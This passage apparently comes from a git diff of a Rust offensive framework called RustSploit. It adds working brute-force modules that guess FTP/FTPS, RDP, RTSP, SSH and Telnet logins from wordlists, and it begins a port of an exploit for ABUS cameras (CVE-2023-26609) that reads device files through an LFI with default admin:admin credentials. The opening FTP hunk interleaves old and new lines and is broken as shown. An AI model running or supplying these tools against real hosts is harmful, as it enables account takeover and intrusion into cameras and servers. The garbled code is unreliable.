async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") {
// fall through
} else if msg.contains("421") {
// 421 Too many connections
println!("[-] 421 Too many connections, sleeping 2 seconds...");
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
return Err(anyhow!("FTP error: {}", msg));
}
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
Err(e) => {
let msg = e.to_string();
if msg.contains("550 SSL/TLS required") {
// fall through
} else if msg.contains("421") {
println!("[-] 421 Too many connections, sleeping 2 seconds...");
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("TLS upgrade failed: {}", e))?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false) // Bad login
} else {
Err(anyhow!("FTPS error: {}", msg))
}
}
}
}
// === Helpers ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -193,18 +298,15 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
@@ -212,11 +314,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
Ok(reader.lines().filter_map(Result::ok).collect())
}
fn log(verbose: bool, msg: &str) {
@@ -226,10 +324,8 @@ fn log(verbose: bool, msg: &str) {
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
.map(|n| PathBuf::from(format!("./{}", n.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
+3 -1
View File
@@ -4,4 +4,6 @@
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
+240
View File
@@ -0,0 +1,240 @@
use anyhow::Result;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
process::Command,
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format_socket_address(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_rdp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::piped())
.spawn()?;
let status = child.wait().await?;
Ok(status.success())
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
// —— updated helper to handle any number of brackets ——
fn format_socket_address(ip: &str, port: u16) -> String {
// Strip all existing brackets from the ends, no matter how many layers
let trimmed = ip.trim_matches(|c| c == '[' || c == ']').to_string();
// If it still contains a colon, assume IPv6 and wrap in one pair of brackets
if trimmed.contains(':') {
format!("[{}]:{}", trimmed, port)
} else {
format!("{}:{}", trimmed, port)
}
}
@@ -0,0 +1,359 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(Result::ok)
.collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
for path in &paths {
if *stop.lock().await {
break;
}
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let addrs = resolve_targets(addr).await?;
let mut last_err = None;
let mut stream = None;
let mut connected_sa = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts failed: {}",
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
match s.trim().to_lowercase().as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+35 -3
View File
@@ -141,14 +141,14 @@ pub async fn run(target: &str) -> Result<()> {
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let addr = addr.to_string();
let normalized = format_host_port(addr)?;
let user = user.to_string();
let pass = pass.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr) {
match TcpStream::connect(&normalized) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ fixed here
let mut sess = Session::new()?; // ✅ SSH session
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
@@ -164,6 +164,38 @@ async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Ok(result)
}
/// 💡 Format IP/hostname into `host:port` with safe IPv6 wrapping,
/// stripping any extra nesting of `[`/`]`.
fn format_host_port(input: &str) -> Result<String> {
// If its already exactly "[ipv6]:port" (no nested brackets inside), accept it as-is.
if input.starts_with('[') {
if let Some(end) = input.find("]:") {
let inner = &input[1..end];
if !inner.contains('[') && !inner.contains(']') {
return Ok(input.to_string());
}
}
}
// Otherwise, split off the port by the last ':'.
let parts: Vec<&str> = input.rsplitn(2, ':').collect();
if parts.len() != 2 {
return Err(anyhow!("Invalid target address format: '{}'", input));
}
let port = parts[0];
let raw_host = parts[1];
// Strip _all_ leading '[' and trailing ']' from the host part
let host = raw_host.trim_matches(|c| c == '[' || c == ']');
// If its an IPv6 (contains ':'), wrap exactly once.
if host.contains(':') {
Ok(format!("[{}]:{}", host, port))
} else {
Ok(format!("{}:{}", host, port))
}
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
+134 -88
View File
@@ -1,11 +1,13 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use crossbeam_channel::unbounded;
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
@@ -16,9 +18,15 @@ pub async fn run(target: &str) -> Result<()> {
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let stop_on_success = prompt("Stop on first valid login? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
@@ -47,10 +55,11 @@ struct TelnetBruteforceConfig {
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
// 1) Normalize & validate host:port
let addr = normalize_target(&config.target, config.port)
.context("Invalid target address")?;
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.to_socket_addrs()?
.next()
.context("Unable to resolve target address")?;
@@ -64,61 +73,57 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
// 2) Build the combo queue
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
for u in &usernames {
for p in &passwords {
tx.send((u.clone(), p.clone()))?;
}
}
} else if usernames.len() == 1 {
for p in &passwords {
tx.send((usernames[0].clone(), p.clone()))?;
}
} else if passwords.len() == 1 {
for u in &usernames {
tx.send((u.clone(), passwords[0].clone()))?;
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
println!("[!] Multiple creds & full_combo=OFF → using first username.");
for p in &passwords {
tx.send((usernames[0].clone(), p.clone()))?;
}
}
drop(tx);
// 3) Spawn workers
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
let cfg = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
if cfg.verbose {
println!("[*] Trying {}:{}", user, pass);
}
match try_telnet_login(&addr, &username, &password) {
match try_telnet_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
println!("[+] Valid: {}:{}", user, pass);
creds.lock().unwrap().push((user, pass));
if cfg.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
if cfg.verbose {
eprintln!("[!] Error: {}", e);
}
}
@@ -126,25 +131,26 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
// 4) Report & optional save
let found = creds.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
for (u, p) in found.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
if prompt("\n[?] Save to file? (y/n): ")
.trim()
.eq_ignore_ascii_case("y")
{
let file = prompt("Filename: ");
if let Err(e) = save_results(&file, &found) {
eprintln!("[!] Failed to save: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
println!("[+] Results saved to '{}'", file);
}
}
}
@@ -152,43 +158,55 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
Ok(())
}
/// Attempt a single login, with 0.7 s connect+I/O timeout
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
// Resolve to SocketAddr
let socket = addr
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
// Connect with 1500 ms timeout
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
.context("Connection timed out")?;
// I/O timeout
stream
.set_read_timeout(Some(Duration::from_millis(1500)))
.context("Failed to set read timeout")?;
stream
.set_write_timeout(Some(Duration::from_millis(1500)))
.context("Failed to set write timeout")?;
// Wrap into Telnet
let mut connection = Telnet::from_stream(Box::new(stream), 256);
let mut login_seen = false;
let mut pass_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
let event = connection.read().context("Read error or timeout")?;
if let Event::Data(buffer) = event {
let out = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_seen && (out.contains("login:") || out.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_seen = true;
} else if login_seen && !pass_seen && out.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_seen = true;
} else if pass_seen {
if out.contains("incorrect")
|| out.contains("failed")
|| out.contains("denied")
{
return Ok(false);
}
if out.contains("last login")
|| out.contains("$")
|| out.contains("#")
|| out.contains("welcome")
{
return Ok(true);
}
}
_ => {}
}
}
@@ -196,22 +214,50 @@ fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool>
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
let f = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
let mut f = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
writeln!(f, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
fn prompt(msg: &str) -> String {
print!("{}", msg);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
buf.trim().to_string()
}
/// Enhanced IPv4/IPv6/domain normalizer & resolver
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let caps = re
.captures(host.trim())
.ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str().parse::<u16>().context("Invalid port value")?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
// Verify DNS/getaddrinfo
formatted
.to_socket_addrs()
.context(format!("Could not resolve {}", formatted))?;
Ok(formatted)
}
@@ -0,0 +1,153 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"
use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
if raw.contains(':') {
// strip any number of existing brackets, then wrap once
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
format!("[{}]", stripped)
} else {
raw.to_string()
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
